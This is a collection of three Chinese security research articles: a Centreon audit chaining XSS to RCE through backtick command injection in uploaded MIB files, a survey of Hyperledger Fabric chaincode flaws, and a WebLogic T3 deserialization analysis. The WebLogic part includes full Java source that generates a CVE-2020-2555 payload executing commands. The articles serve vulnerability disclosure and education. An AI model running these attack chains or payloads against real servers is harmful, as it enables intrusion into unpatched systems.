-
代码审计从0到1 —— Centreon One-click To RCE
作者:huha@知道创宇404实验室
时间:2020年8月26日前言
代码审计的思路往往是多种多样的,可以通过历史漏洞获取思路、黑盒审计快速确定可疑点,本文则侧重于白盒审计思路,对Centreon V20.04[1]的审计过程进行一次复盘记录,文中提及的漏洞均已提交官方并修复。
概述
Centreon(Merethis Centreon)是法国Centreon公司的一套开源的系统监控工具 。该产品主要提供对网络、系统和应用程序等资源的监控功能。
网站基本结构
源代码目录组成
centreon/www/
网站根目录centreon/www/include/
核心目录结构概述一下
centreon/www/index.php
是网站的入口文件,会先进行登录认证,未登录的话跳转进入登录页,登录成功后进入后台centreon/www/main.php
与centreon/www/main.get.php
,对应PC端与移动端的路由功能,根据不同的参数,可以加载到后台不同的功能页面,在实际调试的过程,发现使用main.php加载对应的功能页时,最终会调用main.get.php,所以路由部分直接看main.get.php即可entreon/www/include/
目录包含核心功能代码、公共类。其中有些功能代码可以直接通过路径访问,有些则需要通过main.get.php页面进行路由访问centreon/www/api/
目录下的index.php是另一处路由功能,可以实例化centreon/www/api/class/*.class.php
、centreon/www/modules/
、centreon/www/widgets/*/webServices/rest/*.class.php
、centreon/src/
中的类并调用指定方法
在审计代码的时候,有两个要关注点:
- 重点审查
centreon/www/include/
和centreon/www/api/class
/两个目录,因为这些目录下的功能点可以通过centreon/www/main.php
或centreon/www/api/index.php
路由访问 - 重点寻找绕过登录认证或者越权的方式,否则后台漏洞难以利用
代码分析
如下简要分析
centreon/www/
目录下的部分脚本index.php
index.php会进行登录认证,检查是否定义$_SESSION["centreon"]变量,这个值在管理员登录后设置。程序登录有两种方式,使用账密或者token,相关逻辑在
/centreon/www/include/core/login/processLogin.php
中。不止index.php,centreon/www/include/
下大部分功能页都会检查session,没有登录就无法访问main.get.php
这是主要的路由功能,程序开头对数据进行过滤。$_GET数组使用fiter_var()过滤处理,编码特殊字符,有效地防御了一些XSS,比如可控变量在引号中的情况,无法进行标签闭合,无法逃逸单引号
对_POST中的指定参数,进行过滤处理,对数据类型进行限制,对特殊字符进行编码
最终_POST数组赋值到$inputs数组中
全局过滤数据后,程序引入公共类文件和功能代码
99行session取出,认证是否登录
通过登录认证后,程序会查询数据库,获取page与url的映射关系,程序通过p参数找到对应的url,进行路由,映射关系如下
接着248行
include_once $url
,引入centreon/www/include/
下对应的脚本这里将page与url映射关系存储到本地,方便后续查询
api/index.php
这是另外一个路由功能
同样需要验证登录,104行$_SERVER['HTTP_CENTREON_AUTH_TOKEN']可以在请求头中伪造,但是并不能绕过登录,可以跟进查看CentreonWebService::router方法
在
\api\class\webService.class.php
,其中action参数可控311行判断isService是否为true,如果是,dependencyInjector['centreon.webservice']->get(object)
313行centreon.webservice属性值如下,对应的是centreon/src目录下的类
$webServicePaths变量包含以下类路径
接着346行检查类中是否存在对应方法,在374行处调用,但是在350~369进行了第二次登录认证,所以之前$_SERVER['HTTP_CENTREON_AUTH_TOKEN']伪造并没能绕过登录
过滤处理
除了main.get.php开头的全局过滤操作,程序的其他过滤都是相对较分散的,对于SQL注入的话,程序的很多查询都使用了PDO进行参数化查询,对于PDO中一些直接拼接的参数,则单独调用某些函数进行过滤处理。比如下边这里进行数据库更新操作时,updateOption()会进行query操作,$ret["nagios_path_img"]可控,但是这里调用escape()函数进行转义
路径限制
不通过路由功能,直接访问对应路径的功能代码,大部分是不被允许的,比如直接访问generateFiles.php页面
可以看到39行检查oreon参数,这就是为什么要通过main.get.php去访问某些功能点。当然有一些漏网之鱼,比如rename.php页面,这里只是检查session是否存在,在登录状态下,可以通过路径直接访问该页面。
One-click To RCE
XSS
在上一节的最后,为什么要纠结通过路径访问还是路由访问呢?因为通过main.get.php中的路由访问的话,会经过全局过滤处理,直接通过路径访问则没有,这样就有了产生漏洞的可能,通过这个思路可以找到一个XSS漏洞,在rename.php中程序将攻击者可控的内容直接打印输出,并且没有进行编码处理,缺乏Httponly与CSP等的攻击缓存机制,当管理员点击精心构造的链接时,将触发XSS执行任意js代码,导致cookie泄露。
漏洞分析
漏洞入口
centreon/include/home/customViews/rename.php
前边也提到,46行验证session是否存在,所以受害者只要处于登录状态即可,59行echo直接打印_REQUEST)返回的值,rename函数中对params['newName'],因为直接通过路径访问,没有经过任何过滤处理
所以elementId控制为title_1(任意数字),设置newName为script标签即可
授权RCE
程序在使用perl脚本处理mib文件时,没有对反引号的内容进行正确的过滤处理,攻击者利用XSS窃取的凭证登录后,可上传恶意文件导致远程代码执行,即One_click to RCE
漏洞分析
可以顺着CVE-2020-12688[2]的思路,全局搜索"shell_exec("关键字符串, formMibs.php调用了该函数
查看源码,38行执行了shell_exec(command从form),打印$form方便调试
之前记录的page与url的映射关系现在就可以派上用场了,设置page为61703,通过main.php或main.get.php可以路由到formMibs.php,也就是下边的文件上传功能
调试发现formMibs.php中31行的manufacturerId可以通过上传数据包中mnftr字段修改,但是被filter_var()处理,只能为整数
虽然缓存文件名是不可控的,但是上传的mib文件内容可控,shell_exec()中执行的命令实际为("xxx.mib"代表缓存文件名)
1/usr/share/centreon/bin/centFillTrapDB -f 'xxx.mib' -m 3 --severity=info 2>&1centFillTrapDB是一个perl脚本,代码在/bin/centFillTrapDB中,用use引入centFillTrapDB模块
use命令寻找的路径默认在@INC下,但不知道具体在哪里,可以全局搜索一下
最后在usr/share/perl5/vendor_perl/centreon下找到script目录,有我们想要的文件
把centFillTrapDB模块拉出来静态看一下,发现存在命令执行且内容可控的位置,实际调试发现最终分支是进入541行,540行和543行是我添加的调试代码
在perl中反引号内可以执行系统命令,534行trap_lookup可控,对于mib文件来说,{IFS}代替
为了方便构造mib文件,打印出反引号中的命令,并在服务器shell中进行测试
构造/tmp/1.mib文件
命令行执行
1centFillTrapDB -f '/tmp/1.mib' -m 3 --severity=info 2>&1可以清晰的看到command,并且执行了curl命令
修改mib文件中的命令,在浏览器上传进行测试,成功执行whoami并回显
审计总结
文本主要分享了一些白盒审计思路,但就像之前所说的,审计的思路往往是多种多样的,以下是个人的小小总结:
- 分析历史漏洞,在复现和调试的过程中,可以比较快的了解这个框架的结构,也可以从历史漏洞中获取思路,举一反三
- 黑盒审计,开启抓包工具,测试可疑的功能点并观察数据包,这样可以加快对网站路由的熟悉,也可以快速的验证一些思路,排除一些可能性,仍然存疑的功能点可以在白盒审计时进一步确认;
- 白盒审计,入口脚本,路由方式,核心配置,常用功能模块和数据验证过滤操作,这些都是要留意的,当然最主要还是看入口,路由和数据过滤验证的部分;其他的如核心配置,常用功能模块,可以按需查看,大概了解了网站架构就可以开始看对应的功能代码了,看的时候可以分两个角度:一个就是从刚才黑盒测试遗留的可疑点入手,断点功能代码,审查是否存在漏洞;另一个就是从敏感关键字入手,全局搜索,溯源追踪。
- 注重不同漏洞的组合攻击,无论是这次的Centreon One_click to RCE漏洞,还是通达OA任意删除认证文件导致的未授权RCE、PHPCMS V9 authkey泄露导致的未授权RCE,打的都是一套组合拳,在漏洞挖掘的过程可以多加关注
参考链接
[1] Centreon V20.04
https://github.com/centreon/centreon/releases/tag/20.04.0
[2] CVE-2020-12688漏洞公开细节
https://github.com/TheCyberGeek/Centreon-20.04
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1313/
没有评论 -
联盟链智能合约安全浅析
作者:极光@知道创宇404区块链安全研究团队
时间:2020年8月27日前言
随着区块链技术的发展,越来越多的个人及企业也开始关注区块链,而和区块链联系最为紧密的,恐怕就是金融行业了。 然而虽然比特币区块链大受热捧,但毕竟比特币区块链是属于公有区块链,公有区块链有着其不可编辑,不可篡改的特点,这就使得公有链并不适合企业使用,毕竟如果某金融企业开发出一个区块链,无法受其主观控制,那对于它的意义就不大。因此私有链就应运而生,但私有链虽然能够解决以上的问题,如果仅仅只是各个企业自己单独建立,那么还将是一个个孤岛。如果能够联合起来开发私有区块链,最好不过,联盟链应运而生。
目前已经有了很多的联盟链,比较知名的有
Hyperledger
。超级账本(Hyperledger)是Linux基金会于2015年发起的推进区块链数字技术和交易验证的开源项目,加入成员包括:IBM、Digital Asset、荷兰银行(ABN AMRO)、埃森哲(Accenture)等十几个不同利益体,目标是让成员共同合作,共建开放平台,满足来自多个不同行业各种用户案例,并简化业务流程。为了提升效率,支持更加友好的设计,各联盟链在智能合约上出现了不同的发展方向。其中,
Fabric
联盟链平台智能合约具有很好的代表性,本文主要分析其智能合约安全性,其他联盟链平台合约亦如此,除了代码语言本身
的问题,也存在系统机制安全
,运行时安全
,业务逻辑安全
等问题。Fabric智能合约
Fabric的智能合约称为链码(chaincode),分为系统链码和用户链码。系统链码用来实现系统层面的功能,用户链码实现用户的应用功能。链码被编译成一个独立的应用程序,运行于隔离的Docker容器中。 和以太坊相比,Fabric链码和底层账本是分开的,升级链码时并不需要迁移账本数据到新链码当中,真正实现了逻辑与数据的分离,同时,链码采用Go、Java、Nodejs语言编写。
数据流向
Fabric链码通过gprc与peer节点交互
(1)当peer节点收到客户端请求的输入(propsal)后,会通过发送一个链码消息对象(带输入信息,调用者信息)给对应的链码。
(2)链码调用ChaincodeBase里面的invoke方法,通过发送获取数据(getState)和写入数据(putState)消息,向peer节点获取账本状态信息和发送预提交状态。
(3)链码发送最终输出结果给peer节点,节点对输入(propsal)和 输出(propsalreponse)进行背书签名,完成第一段签名提交。
(4)之后客户端收集所有peer节点的第一段提交信息,组装事务(transaction)并签名,发送事务到orderer节点排队,最终orderer产生区块,并发送到各个peer节点,把输入和输出落到账本上,完成第二段提交过程。
链码类型
- 用户链码
由应用开发人员使用Go(Java/JS)语言编写基于区块链分布式账本的状态及处理逻辑,运行在链码容器中, 通过Fabric提供的接口与账本平台进行交互
- 系统链码
负责Fabric节点自身的处理逻辑, 包括系统配置、背书、校验等工作。系统链码仅支持Go语言, 在Peer节点启动时会自动完成注册和部署。
部署
可以通过官方
Fabric-samples
部署test-network
,需要注意的是国内网络环境对于Go编译下载第三方依赖可能出现网络超时,可以参考 goproxy.cn 解决,成功部署后如下图:语言特性问题
不管使用什么语言对智能合约进行编程,都存在其对应的语言以及相关合约标准的安全性问题。Fabric 智能合约是以通用编程语言为基础,指定对应的智能合约模块(如:Go/Java/Node.js)
- 不安全的随机数
随机数应用广泛,最为熟知的是在密码学中的应用,随机数产生的方式多种多样,例如在Go程序中可以使用 math/rand 获得一个随机数,此种随机数来源于伪随机数生成器,其输出的随机数值可以轻松预测。而在对安全性要求高的环境中,如 UUID 的生成,Token 生成,生成密钥、密文加盐处理。使用一个能产生可能预测数值的函数作为随机数据源,这种可以预测的数值会降低系统安全性。
伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。 并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。 在计算伪随机数时,若使用的初值(种子)不变,这里的“初值”就是随机种子,那么伪随机数的数序也不变。在上述代码中,通过对比两次执行结果都相同。
通过分析rand.Intn()的源码,可见,在”math/rand” 包中,如果没有设置随机种子, Int() 函数自己初始化了一个 lockedSource 后产生伪随机数,并且初始化时随机种子被设置为1。因此不管重复执行多少次代码,每次随机种子都是固定值,输出的伪随机数数列也就固定了。所以如果能猜测到程序使用的初值(种子),那么就可以生成同一数序的伪随机数。
12345678910111213141516fmt.Println(rand.Intn(100)) //fmt.Println(rand.Intn(100)) //fmt.Println(rand.Float64()) // 产生0.0-1.0的随机浮点数fmt.Println(rand.Float64()) // 产生0.0-1.0的随机浮点数jiguang@example$ go run unsafe_rand.go81870.66456005321849040.4377141871869802jiguang@example$ go run unsafe_rand.go81870.66456005321849040.4377141871869802jiguang@example$- 不当的函数地址使用
错误的将函数地址当作函数、条件表达式、运算操作对象使用,甚至参与逻辑运算,将导致各种非预期的程序行为发生。比如在如下if语句,其中
func()
为程序中定义的一个函数:123if (func == nil) {...}由于使用
func
而不是func()
,也就是使用的是func
的地址而不是函数的返回值,而函数的地址不等于nil
,如果用函数地址与nil
作比较时,将使其条件判断恒为false
。- 资源重释放
defer 关键字可以帮助开发者准确的释放资源,但是仅限于一个函数中。 如果一个全局对象中存储了大量需要手动释放的资源,那么编写释放函数时就很容易漏掉一些释放函数,也有可能造成开发者在某些条件语句中提前进行资源释放。
- 线程安全
很多时候,编译器会做一些神奇的优化,导致意想不到的数据冲突,所以,只要满足“同时有多个线程访问同一段内存,且其中至少有一个线程的操作是写操作”这一条件,就需要作并发安全方面的处理。
- 内存分配
对于每一个开发者,内存是都需要小心使用的资源,内存管理不慎极容易出现的OOM(OutOfMemoryError),内存泄露最终会导致内存溢出,由于系统中的内存是有限的,如果过度占用资源而不及时释放,最后会导致内存不足,从而无法给所需要存储的数据提供足够的内存,从而导致内存溢出。导致内存溢出也可能是由于在给数据分配大小时没有根据实际要求分配,最后导致分配的内存无法满足数据的需求,从而导致内存溢出。
12var detailsID int = len(assetTransferInput.ID)assetAsBytes := make([]int, detailsID)如上代码,
assetTransferInput.ID
为用户可控参数,如果传入该参数的值过大,则make内存分配可能导致内存溢出。- 冗余代码
有时候一段代码从功能上、甚至效率上来讲都没有问题,但从可读性和可维护性来讲,可优化的地方显而易见。特别是在需要消耗gas执行代码逻辑的合约中。
123456if len(assetTransferInput.ID) < 0 {return fmt.Errorf("assetID field must be a non-empty")}if len(assetTransferInput.ID) == 0 {return fmt.Errorf("assetID field must be a non-empty")}运行时安全
- 整数溢出
不管使用的何种虚拟机执行合约,各类整数类型都存在对应的存储宽度,当试图保存超过该范围的数据时,有符号数就会发生整数溢出。
涉及无符号整数的计算不会产生溢出,而是当数值超过无符号整数的取值范围时会发生回绕。如:无符号整数的最大值加1会返回0,而无符号整数最小值减1则会返回该类型的最大值。当无符号整数回绕产生一个最大值时,如果数据用于如 []byte(string),string([]byte) 类的内存拷贝函数,则会复制一个巨大的数据,可能导致错误或者破坏堆栈。除此之外,无符号整数回绕最可能被利用的情况之一是用于内存的分配,如使用 make() 函数进行内存分配时,当 make() 函数的参数产生回绕时,可能为0或者是一个最大值,从而导致0长度的内存分配或者内存分配失败。
智能合约中GetAssetPrice函数用于返回当前计算的差价,第228可知,
gas + rebate
可能发生溢出,uint16表示的最大整数为65535,即大于这个数将发生无符号回绕问题:1234567var gas uint16 = uint16(65535)var rebate uint16 = uint16(1)fmt.Println(gas + rebate) // 0var gas1 uint16 = uint16(65535)var rebate2 uint16 = uint16(2)fmt.Println(gas1 + rebate2) // 1- 除数为零
代码基本算数运算过程中,当出现除数为零的错误时,通常会导致程序崩溃和拒绝服务漏洞。
在
CreateTypeAsset
函数的第64行,通过传入参数appraisedValue
来计算接收资产类型值,实际上,当传入参数appraisedValue
等于17时,将发生除零风险问题。- 忽略返回值
一些函数具有返回值且返回值用于判断函数执行的行为,如判断函数是否执行成功,因此需要对函数的返回值进行相应的判断,以
strconv.Atoi
函数为例,其原型为:func Atoi(s string) (int, error)
如果函数执行成功,则返回第一个参数 int;如果发生错误,则返回 error,如果没有对函数返回值进行检测,那么当读取发生错误时,则可能因为忽略异常和错误情况导致允许攻击者引入意料之外的行为。- 空指针引用
指针在使用前需要进行健壮性检查,从而避免对空指针进行解引用操作。试图通过空指针对数据进行访问,会导致运行时错误。当程序试图解引用一个期望非空但是实际为空的指针时,会发生空指针解引用错误。对空指针的解引用会导致未定义的行为。在很多平台上,解引用空指针可能会导致程序异常终止或拒绝服务。如:在 Linux 系统中访问空指针会产生 Segmentation fault 的错误。
1234567891011121314func (s *AssetPrivateDetails) verifyAgreement(ctx contractapi.TransactionContextInterface, assetID string, owner string, buyerMSP string) *Asset {....err = ctx.GetStub().PutPrivateData(assetCollection, transferAgreeKey, []byte(clientID))if err != nil {fmt.Printf("failed to put asset bid: %v\n", err)return nil}}// Verify transfer details and transfer ownerasset := s.verifyAgreement(ctx, assetTransferInput.ID, asset.Owner, assetTransferInput.BuyerMSP)var detailsID int = len(asset.ID)- 越界访问
越界访问是代码语言中常见的缺陷,它并不一定会造成编译错误,在编译阶段很难发现这类问题,导致的后果也不确定。当出现越界时,由于无法得知被访问空间存储的内容,所以会产生不确定的行为,可能是程序崩溃、运算结果非预期。
系统机制问题
- 全局变量唯一性
全局变量不会保存在数据库中,而是存储于单个节点,如果此类节点发生故障或重启时,可能会导致该全局变量值不再与其他节点保持一致,影响节点交易。因此,从数据库读取、写入或从合约返回的数据不应依赖于全局状态变量。
- 不确定性因素
合约变量的生成如果依赖于不确定因素(如:本节点时间戳)或者某个未在账本中持久化的变量,那么可能会因为各节点该变量的读写集不一样,导致交易验证不通过。
- 访问外部资源
合约访问外部资源时,如第三方库,这些第三方库代码本身可能存在一些安全隐患。引入第三方库代码可能会暴露合约未预期的安全隐患,影响链码业务逻辑。
业务逻辑安全
- 输入参数检查不到位
在编写智能合约时,开发者需要对每个函数参数进行合法性,预期性检查,即需要保证每个参数符合合约的实际应用场景,对输入参数检查不到位往往会导致非预期的结果。如近期爆出的
Filecoin测试网
代码中的严重漏洞,原因是transfer
函数中对转账双方from, to
地址检查不到位,导致了FIL无限增发。12345678910111213141516171819202122232425262728293031### Beforefunc (vm *VM) transfer(from, to address.Address, amt types.BigInt) aerrors.ActorError {if from == to {return nil}...}### Afterfunc (vm *VM) transfer(from, to address.Address, amt types.BigInt) aerrors.ActorError {if from == to {return nil}fromID, err := vm.cstate.LookupID(from)if err != nil {return aerrors.Fatalf("transfer failed when resolving sender address: %s", err)}toID, err := vm.cstate.LookupID(to)if err != nil {return aerrors.Fatalf("transfer failed when resolving receiver address: %s", err)}if fromID == toID {return nil}...}- 函数权限失配
Fabrci智能合约go代码实现中是根据首字母的大小写来确定可以访问的权限。如果方法名首字母大写,则可以被其他的包访问;如果首字母小写,则只能在本包中使用。因此,对于一些敏感操作的内部函数,应尽量保证方法名采用首字母小写开头,防止被外部恶意调用。
- 异常处理问题
通常每个函数调用结束后会返回相应的返回参数,错误码,如果未认真检查错误码值而直接使用其返回参数,可能导致越界访问,空指针引用等安全隐患。
- 外部合约调用引入安全隐患
在某些业务场景中,智能合约代码可能引入其他智能合约,这些未经安全检查的合约代码可能存在一些未预期的安全隐患,进而影响链码业务本身的逻辑。
总结
联盟链的发展目前还处于项目落地初期阶段,对于联盟链平台上的智能合约开发,项目方应该强化对智能合约开发者的安全培训,简化智能合约的设计,做到功能与安全的平衡,严格执行智能合约代码安全审计(自评/项目组review/三方审计)
在联盟链应用落地上,需要逐步推进,从简单到复杂,在项目开始阶段,需要设置适当的权限以防发生黑天鹅事件。
REF
[1] Hyperledger Fabric 链码
https://blog.51cto.com/clovemfong/2149953
[2] fabric-samples
https://github.com/hyperledger/fabric-samples
[3] Fabric2.0,使用test-network
https://blog.csdn.net/zekdot/article/details/106977734
[4] 使用V8和Go实现的安全TypeScript运行时
https://php.ctolib.com/ry-deno.html
[5] Hyperledger fabric
https://github.com/hyperledger/fabric
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1317/
-
Weblogic12c T3 协议安全漫谈
作者:laker@知道创宇404实验室
时间:2020年8月28日前言
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件。 主要用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。 近几年频繁爆发出多个RCE漏洞,而在今年,其T3协议被频繁攻击和发布补丁与绕过,本文主要对今年来由T3协议入口所产生的多个RCE漏洞进行分析,其中主要包括CVE-2020-2555、 CVE-2020-2883(bypass CVE-2020-2555补丁)、 CVE-2020-14645 (bypass CVE-2020-2883补丁)。
环境搭建
两种搭建环境,第一种是利用docker搭建环境,利用IDEA动态调试,可参考[1],本文调试建议使用Weblogic Server版本12.2.1.4.0,对于该版本的docker文件在https://hub.docker.com/_/oracle-weblogic-server-12c?tab=reviews。
第二种是在官方下载安装包[2],并安装安装指引进行安装[3]。
我们采用第二种进行。在Oracle官网下载后进行安装。
java.exe -jar C:\Users\Administrator\Desktop\fmw_12.2.1.4.0_wls_lite_generic.jar
安装完后导入IDEA再进行配置即可。
漏洞版本
CVE-2020-2555 && CVE-2020-2883(bypass CVE-2020-2555补丁)
123410.3.6.0.012.1.3.0.012.2.1.3.012.2.1.4.0CVE-2020-14645 (bypass CVE-2020-2883补丁)
112.2.1.4.0漏洞成因
简单理解该漏洞成因便是Weblogic 默认开启 T3 协议,攻击者可利用T3协议进行反序列化漏洞实现远程代码执行。
基于代码的漏洞介绍:CVE-2020-2555主要源于在coherence.jar存在着用于gadget构造的类(反序列化构造类),并且利用weblogic默认存在的T3协议进行传输和解析进而导致weblogic服务器反序列化恶意代码最后执行攻击语句。
T3协议
WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。同时
T3协议包括
- 请求包头 2. 请求主体
因此,在T3数据包构造过程中,需要发送两部分的数据
- 请求包头,形如
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://localhost:7001 LP:DOMAIN 1
以
\n
结束同时,我们发送t3的请求包,可用于刺探服务器weblogic版本,该服务器会将自身版本进行响应,形如
HELO:12.1.3.0 false AS:2048 HL:19 MS:10000000
- 序列化数据部分,序列化部分的构成方式有两种:
- 第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
具体T3的数据结构可参考http://drops.xmd5.com/static/drops/web-13470.html,这里我们不关注T3具体数据结构,而是将重心放在T3的反序列化漏洞上。
综上,为实现T3协议的
JAVA
序列化包,需要在T3数据结构头部发送后在其中插入序列化恶意数据,该恶意数据与JAVA的原生ObjectOutputStream数据类型是一样的,然后发送T3数据结构尾部。CVE-2020-2555
由于CVE-2020-2883是对2555补丁的绕过,我们先看看原来的CVE-2020-2555利用链。
123456789BadAttributeValueExpException.readObject()com.tangosol.util.filter.LimitFilter.toString() //CVE-2020-2555出现时 对此进行了修补com.tangosol.util.extractor.ChainedExtractor.extract()com.tangosol.util.extractor.ReflectionExtractor().extract()Method.invoke()//...com.tangosol.util.extractor.ReflectionExtractor().extract()Method.invoke()Runtime.exec()我们使用12.2.1.4.0对此进行调试。
根据已知的一些漏洞信息
漏洞的产生点是 coherence.jar 包中的 LimitFilter 函数,我们将相关漏洞包coherence.jar和tangsol.jar 添加到库函数并反编译add as library
在server\lib\console-ext\autodeploy\tangosol.jar!\com\tangosol\util\filter\LimitFilter.class#toString下一些断点,调试并发送POC。
根据堆栈信息,Weblogic收到POC的数据后,对其进行分发后对T3的数据段部分进行了反序列化还原操作,进而产生了该漏洞的入口。
利用
BadAttributeValueExpException
类实例可以用来调用任意类的toString()
方法 ,这里可能有小伙伴会好奇,为什么这个类的实例能调用在任意类的toString()
方法?原因如下:利用 java.io.ObjectInputStream反序列化一个类时会默认调用该类的readObject方法。
javax.management.BadAttributeValueExpException#readObject方法会对传入的ObjectInputStream实例提取其val属性的值(这也是为什么我们要将恶意对象注入到val属性)。
然后将该值进行判断(valObj受到我们的控制,就是我们注入val属性的对象),我们需要进入的是val = valObj.toString();进而调用控制的valObj对象的toString方法:
这里的System.getSecurityManager需要为null才会进入toString逻辑。
因此我们可以操控valObj成为任意对象并对让其使用toString方法,这里我们选择的恶意宿主是LimitFilter类,原因如下:
了解到LimitFilter类会被我们操作执行toString方法,其toString方法存在如下操作
注意到在LimitFilter.class#toString方法中, 获取到该类的m_comparator成员属性后,转换为(ValueExtractor)对象并调用自身extract方法 :
这里可能会有疑问,如何去控制m_comparator成员属性呢?因为这个类其实就是我们自己写的恶意类,当然可以控制其成员属性了。
到这里,我们就可以控制我们构造的恶意类里面m_comparator成员的extract方法了,而m_comparator成员可控。因此我们可以控制任意类的extract方法了。而后我们选取的利用类是com.tangosol.util.extractor.ChainedExtractor#extract,因为它的extract方法是这样的,该方法会将this.getExtractors返回的数组依次调extract并返回给oTarget:
this.getExtractors方法继承自AbstractCompositeExtractor,返回成员属性this.m_aExtractor
而这个this.m_aExtractor则来自原始方法AbstractCompositeExtractor(),即是初始化该示例的时候传入的:
那么可以理解为,com.tangosol.util.extractor.ChainedExtractor类会依次对 初始化实例时调用传入的ValueExtractor[]类型的列表 调用extract方法。
至此我们便有了调用多个对象extract的能力。
又是一个疑问,这里都是调用extract方法,怎么才能从extract到Runtime.getRuntime.exec()的调用呢?答案是反射。如果我们可以找到一个类,该类的extract方法可控并且传入参数会被顺序进行反射,那么就可以通过控制extract和传入参数进行RCE了。这个类是com.tangosol.util.extractor.ReflectionExtractor#extract
反射的形式这里不细讲了,有兴趣的可以参考[4]
这里需要形成
需要被调用的方法.invoke(被调用类class, 执行的代码)
。诸如
123456789101112131415161718192021222324***.invoke(***,new String[]{"cmd","/c","calc"}//用String.class.getClass().forName("java.lang.Runtime"))还原调用类class***.invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}//用String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime")构造method//这里相当于java.lang.Runtime.getRuntime(new String[]{"cmd","/c","calc")String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}//再调一层反射获取exec//String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class)String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class).invoke(被调用类class, 执行的代码);//完整反射String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"calc"});然后利用com.tangosol.util.extractor.ReflectionExtractor#extract进行传入构造再invoke。
综上,我们构造如下代码片段。
POC逻辑
1.组装ReflectionExtractor成为列表赋值给valueExtractors(ReflectionExtractor有反射的extract函数)。
2.然后通过放入ChainedExtractor(列表依次extract) (ChainedExtractor有列表extract函数)。
3.然后通过放入limitFilter(limitFilter可让ChainedExtractor使用extract)。
4.然后通过放入BadAttributeValueExpException(令limitFilter使用toString)。
于是构成了该利用链。
最后序列化数据源代码大致如下:
1234567891011121314151617181920212223242526272829303132333435363738394041package test.laker;import com.tangosol.util.ValueExtractor;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import com.tangosol.util.filter.LimitFilter;import javax.management.BadAttributeValueExpException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;public class Exploit {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {//定义多次转换链进行反射调用ValueExtractor[] valueExtractors = new ValueExtractor[]{new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})};//初始化LimitFiler类实例LimitFilter limitFilter = new LimitFilter();limitFilter.setTopAnchor(Runtime.class);BadAttributeValueExpException expException = new BadAttributeValueExpException(null);Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");m_comparator.setAccessible(true);m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");m_oAnchorTop.setAccessible(true);m_oAnchorTop.set(limitFilter, Runtime.class);//将limitFilter放入BadAttributeValueExpException的val属性中Field val = expException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(expException, limitFilter);//生成序列化payloadObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/poc2.ser"));objectOutputStream.writeObject(expException);objectOutputStream.close();}}CVE-2020-2555补丁
本地补丁检测方式:
12cd %Oracle_Home%/Middleware/wlserver/server/libjava -cp weblogic.jar weblogic.version可以看到,Oracle官方在一月发布了CVE-2020-2555的补丁[5]。
该补丁需要用户持有正版软件的许可账号,使用该账号登陆官方网站方可下载。
该补丁阻断了LimitFilter传入的对象使用extract方法.
CVE-2020-2883
后续 VNPT ISC的研究员Quynh Le向ZDI提交了一个漏洞][6]
该补丁阻断了LimitFilter,也就是阻断了从readObject --->
toString ----> extract
的路径然而该研究员找到了另一个路径去连接readObject ----> extract
java.util.PriorityQueue.readObject
12345678910java.util.PriorityQueue.readObject()java.util.PriorityQueue.heapify()java.util.PriorityQueue.siftDown()java.util.PriorityQueue.siftDownUsingComparator()com.tangosol.util.extractor.ExtractorComparator.compare()com.tangosol.util.extractor.ChainedExtractor.extract()//...Method.invoke()//...Runtime.exec()java.util.PriorityQueue#readObject会调用heapify函数,如下图,具体利用时使用双参构造方法,我们看看文档的描述。
使用指定的初始容量创建一个
PriorityQueue
,并根据指定的比较器对元素进行排序。这里我们指定的比较器是 ExtractorComparator ,初始容量为2
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
显而易见,这里我们调用的
ExtractorComparator
这个比较器compare函数存在着extract方法。o1和o2的值:
让m_extractor对象使用extract方法。这里操控m_extractor的方法就是反射(具体前面有)。
于是乎,和前面一样的,这个m_extractor对象被修改为数组以达到多个对象调用extract方法。然后就进入到com.tangosol.util.extractor.ChainedExtractor。
至此,完成了从readObject ---> compare ----> extract的连接。后续调用就和CVE-2020-2555相同了。
调用链:
POC可以参考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
CVE-2020-2883补丁
Oracle官方对于CVE-2020-2883的补丁[7]将 extract 方法存在危险操作的 MvelExtractor 和 ReflectionExtractor 两个类加入到了黑名单中(ReflectionExtractor与MvelExtractor 有反射的extract函数)。
